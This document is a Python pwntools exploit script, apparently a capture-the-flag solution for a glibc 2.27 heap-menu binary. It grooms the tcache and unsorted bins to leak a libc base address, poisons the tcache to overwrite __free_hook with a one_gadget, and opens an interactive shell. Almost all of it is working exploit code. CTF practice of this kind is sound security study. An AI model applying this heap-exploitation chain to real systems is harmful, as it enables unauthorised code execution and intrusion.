1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| from pwn import *
sh = process(["./ld-2.27.so", "./1"], env={"LD_PRELOAD":"./libc-2.27.so.6"})
context(os='linux', arch='amd64', log_level='debug') libc = ELF('./libc.so.6')
def Write(Until, Text): sh.recvuntil(Until) sh.sendline(Text)
def Cmd(opt): Write('which command?\n> ', str(opt))
def Malloc(Size, Context): Cmd(1) Write("size \n> ", str(Size)) Write("content \n> ", Context)
def Dele(Idx): Cmd(2) Write('index \n> ', str(Idx))
def Puts(Idx): Cmd(3) Write('index \n> ', str(Idx))
for i in range(7): Malloc(0x10, str(i) + ' - tcache') for i in range(3): Malloc(0x10, str(i + 7) + ' - unsorted bin')
for i in range(6): Dele(i) Dele(9) for i in range(6, 9): Dele(i)
for i in range(7): Malloc(0x10, str(i) + ' - tcache') Malloc(0x10, 'Target A') Malloc(0x10, 'Target B') Malloc(0x10, 'Target C')
for i in range(6): Dele(i) Dele(8)
Dele(7) Malloc(0xf8, 'Target B')
Dele(6) Dele(9)
for i in range(7): Malloc(0x10, str(i + 1) + ' - tcache') Malloc(0x10, '8 - A')
Puts(0) libcbase = u64(sh.recvuntil('\n')[0:-1].strip().ljust(8, '\x00')) - 0x3ebca0 log.success('libcbase: ' + hex(libcbase)) free_hook = libcbase + libc.symbols['__free_hook'] one_gadget = 0x4f322 + libcbase
Malloc(0x10, '9 - B') ''' 0 ==> B 1 - 7 Tcache 8 ==> A 9 ==> B C is freed the last one is 1 ''' Dele(1)
Dele(0) Dele(9) Malloc(0x10, p64(free_hook)) Malloc(0x10, 'Ready?') Malloc(0x10, p64(one_gadget)) Dele(1)
sh.interactive()
|